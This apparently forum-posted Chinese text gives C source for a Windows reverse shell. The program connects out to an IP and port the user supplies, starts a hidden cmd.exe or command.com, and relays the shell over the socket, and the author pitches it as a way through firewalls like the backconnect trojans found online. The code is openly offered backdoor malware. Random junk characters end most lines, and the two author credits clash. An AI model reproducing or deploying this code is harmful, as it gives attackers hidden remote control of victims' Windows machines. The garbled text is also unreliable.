这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 cL!A,+S[_
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/* ============================== i`Qa7
Rebound port in Windows NT ?S9vYaA$
By wind,2006/7 6nJQP a
===============================*/ (`_fP.Ogb
#include *>`6{0,9
#include @h_ bXo
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#pragma comment(lib,"wsock32.lib") "'GhE+>Z
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void OutputShell(); `8tstWYa]Y
SOCKET sClient; '/OQ[f=K
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; <`G-_VI
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void main(int argc,char **argv) S{v]B_N[M
{ X$@qs9?)^
WSADATA stWsaData; !! )W`
int nRet; FzP1b_i
SOCKADDR_IN stSaiClient,stSaiServer; Ml;` *;
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if(argc != 3) %rgW}Z5
{ BX6kn/i
printf("Useage:\n\rRebound DestIP DestPort\n"); D%LYQ
return; 8h4]<T
} {~j/sto-:
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WSAStartup(MAKEWORD(2,2),&stWsaData); AaoS &q
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); l(-"rE
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stSaiClient.sin_family = AF_INET; 3:8p="$F
stSaiClient.sin_port = htons(0); Ziub%C[oV
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Lfdg5D5.P
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %W2U$I5
{ Q$ Dx:
printf("Bind Socket Failed!\n"); lKQevoy'
return; diVg|Z3T
} w)RedJnf
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stSaiServer.sin_family = AF_INET; #$W0%7
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >3ZhPvE-p'
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Iz'Et'w8!
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a
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{ >SLmlK
printf("Connect Error!"); vfvp#
return; n f<I
} )8eb(!}7
OutputShell(); q#Q %p+
} K/*"U*9Kv
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void OutputShell() ,bIJW]h0
{ `?WN*__["
char szBuff[1024]; S:`Gi>D
SECURITY_ATTRIBUTES stSecurityAttributes; d!}oS<6
OSVERSIONINFO stOsversionInfo; XEagN:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; x-ue1
STARTUPINFO stStartupInfo; jpS$5Ct
char *szShell; :8@eon}
PROCESS_INFORMATION stProcessInformation; frDMFEXXP
unsigned long lBytesRead; <y~Ba@1u
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); h(~/JW[
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); QRrAyRf[
stSecurityAttributes.lpSecurityDescriptor = 0; %8%|6^,
stSecurityAttributes.bInheritHandle = TRUE; %#~wFW|]x
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]h'
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); .-mIU.Nwi
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); j[FB*L1!D
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; b]Kb ~y|
stStartupInfo.wShowWindow = SW_HIDE;
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stStartupInfo.hStdInput = hReadPipe; ~o|sm a5.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1cMLl6Bp>
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GetVersionEx(&stOsversionInfo); 5@
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switch(stOsversionInfo.dwPlatformId) 5}Ge
{ ^ <`SUBI
case 1: vV$^`WY4
szShell = "command.com"; OHj>ufwVq
break; ZI qXkD
default: +r//8&
szShell = "cmd.exe"; <Opw"yY&q]
break; (|o@
} rw3tU0j
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y7CO%SA
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send(sClient,szMsg,77,0); &a e!lB
while(1) UF6U5],`u
{ ~*y7%L4B
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); pY3/AO=
if(lBytesRead) L;?F^RK{U
{ cJ@fJ|
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); RU'a8j+W
send(sClient,szBuff,lBytesRead,0); S{8-XiL,
} #3LZX!
else +l/kH9m
{ LVm']_K(f
lBytesRead=recv(sClient,szBuff,1024,0); 9xq3>(
if(lBytesRead<=0) break; ZsXw]Wa
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ("j;VqYUL
} u,`3_I^
} GHn0(o &K
{ pQJ.QI
return; Qt{V&Z7
}